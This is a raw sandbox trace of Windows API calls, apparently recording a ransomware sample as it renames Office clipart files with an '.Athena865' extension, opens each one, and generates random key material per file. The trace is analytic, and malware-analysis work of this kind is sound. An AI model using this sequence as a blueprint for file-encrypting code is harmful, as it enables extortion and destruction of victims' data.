[0131.559] lstrlenW (lpString="Athena865") returned 9 [0131.559] lstrcmpiW (lpString1="0417_.WMF", lpString2="Athena865") returned -1 [0131.559] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF.Athena865") returned 73 [0131.559] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.560] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5950) returned 1 [0131.560] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.561] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.561] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.564] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.566] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.566] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.567] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00433_.WMF" | out: lpString1="NA00433_.WMF") returned="NA00433_.WMF" [0131.567] lstrlenW (lpString="NA00433_.WMF") returned 12 [0131.567] lstrlenW (lpString="Athena865") returned 9 [0131.567] lstrcmpiW (lpString1="0433_.WMF", lpString2="Athena865") returned -1 [0131.567] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF.Athena865") returned 73 [0131.567] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.568] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18070) returned 1 [0131.568] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.569] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.569] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.572] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.572] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.572] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.573] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00438_.WMF" | out: lpString1="NA00438_.WMF") returned="NA00438_.WMF" [0131.573] lstrlenW (lpString="NA00438_.WMF") returned 12 [0131.573] lstrlenW (lpString="Athena865") returned 9 [0131.573] lstrcmpiW (lpString1="0438_.WMF", lpString2="Athena865") returned -1 [0131.573] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF.Athena865") returned 73 [0131.573] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.575] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12088) returned 1 [0131.575] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.576] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.576] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.579] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.579] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.579] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.580] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00452_.WMF" | out: lpString1="NA00452_.WMF") returned="NA00452_.WMF" [0131.580] lstrlenW (lpString="NA00452_.WMF") returned 12 [0131.580] lstrlenW (lpString="Athena865") returned 9 [0131.580] lstrcmpiW (lpString1="0452_.WMF", lpString2="Athena865") returned -1 [0131.580] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF.Athena865") returned 73 [0131.580] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.582] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5308) returned 1 [0131.582] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.582] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.582] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.586] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.587] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.587] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.588] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00454_.WMF" | out: lpString1="NA00454_.WMF") returned="NA00454_.WMF" [0131.588] lstrlenW (lpString="NA00454_.WMF") returned 12 [0131.588] lstrlenW (lpString="Athena865") returned 9 [0131.588] lstrcmpiW (lpString1="0454_.WMF", lpString2="Athena865") returned -1 [0131.588] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF.Athena865") returned 73 [0131.588] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.589] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5504) returned 1 [0131.590] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.590] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.590] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.594] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.595] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.595] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.595] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00458_.WMF" | out: lpString1="NA00458_.WMF") returned="NA00458_.WMF" [0131.595] lstrlenW (lpString="NA00458_.WMF") returned 12 [0131.595] lstrlenW (lpString="Athena865") returned 9 [0131.595] lstrcmpiW (lpString1="0458_.WMF", lpString2="Athena865") returned -1 [0131.595] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF.Athena865") returned 73 [0131.596] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.597] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10148) returned 1 [0131.597] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.598] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.598] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.600] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.601] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.601] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.601] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00462_.WMF" | out: lpString1="NA00462_.WMF") returned="NA00462_.WMF" [0131.601] lstrlenW (lpString="NA00462_.WMF") returned 12 [0131.601] lstrlenW (lpString="Athena865") returned 9 [0131.601] lstrcmpiW (lpString1="0462_.WMF", lpString2="Athena865") returned -1 [0131.601] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF.Athena865") returned 73 [0131.601] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.603] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20332) returned 1 [0131.603] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.604] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.604] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.606] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.607] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.607] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.607] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00487_.WMF" | out: lpString1="NA00487_.WMF") returned="NA00487_.WMF" [0131.607] lstrlenW (lpString="NA00487_.WMF") returned 12 [0131.607] lstrlenW (lpString="Athena865") returned 9 [0131.607] lstrcmpiW (lpString1="0487_.WMF", lpString2="Athena865") returned -1 [0131.608] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF.Athena865") returned 73 [0131.608] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.610] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3088) returned 1 [0131.610] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.611] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.611] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.614] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.615] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.615] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.615] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00494_.WMF" | out: lpString1="NA00494_.WMF") returned="NA00494_.WMF" [0131.615] lstrlenW (lpString="NA00494_.WMF") returned 12 [0131.615] lstrlenW (lpString="Athena865") returned 9 [0131.615] lstrcmpiW (lpString1="0494_.WMF", lpString2="Athena865") returned -1 [0131.615] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF.Athena865") returned 73 [0131.615] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.617] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2360) returned 1 [0131.617] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.618] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.618] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.620] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.620] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.620] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.621] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00512_.WMF" | out: lpString1="NA00512_.WMF") returned="NA00512_.WMF" [0131.621] lstrlenW (lpString="NA00512_.WMF") returned 12 [0131.621] lstrlenW (lpString="Athena865") returned 9 [0131.621] lstrcmpiW (lpString1="0512_.WMF", lpString2="Athena865") returned -1 [0131.621] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF.Athena865") returned 73 [0131.621] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.624] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2912) returned 1 [0131.624] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.624] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.624] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.628] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.628] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.628] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.629] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00523_.WMF" | out: lpString1="NA00523_.WMF") returned="NA00523_.WMF" [0131.629] lstrlenW (lpString="NA00523_.WMF") returned 12 [0131.629] lstrlenW (lpString="Athena865") returned 9 [0131.629] lstrcmpiW (lpString1="0523_.WMF", lpString2="Athena865") returned -1 [0131.630] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF.Athena865") returned 73 [0131.630] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.631] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=28410) returned 1 [0131.631] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.632] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.632] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.635] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.635] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.635] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.636] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00525_.WMF" | out: lpString1="NA00525_.WMF") returned="NA00525_.WMF" [0131.636] lstrlenW (lpString="NA00525_.WMF") returned 12 [0131.636] lstrlenW (lpString="Athena865") returned 9 [0131.636] lstrcmpiW (lpString1="0525_.WMF", lpString2="Athena865") returned -1 [0131.636] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF.Athena865") returned 73 [0131.636] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.639] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=22656) returned 1 [0131.639] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.640] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.640] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.643] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.644] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.644] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.645] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00530_.WMF" | out: lpString1="NA00530_.WMF") returned="NA00530_.WMF" [0131.645] lstrlenW (lpString="NA00530_.WMF") returned 12 [0131.645] lstrlenW (lpString="Athena865") returned 9 [0131.645] lstrcmpiW (lpString1="0530_.WMF", lpString2="Athena865") returned -1 [0131.645] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF.Athena865") returned 73 [0131.645] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF.Athena865" 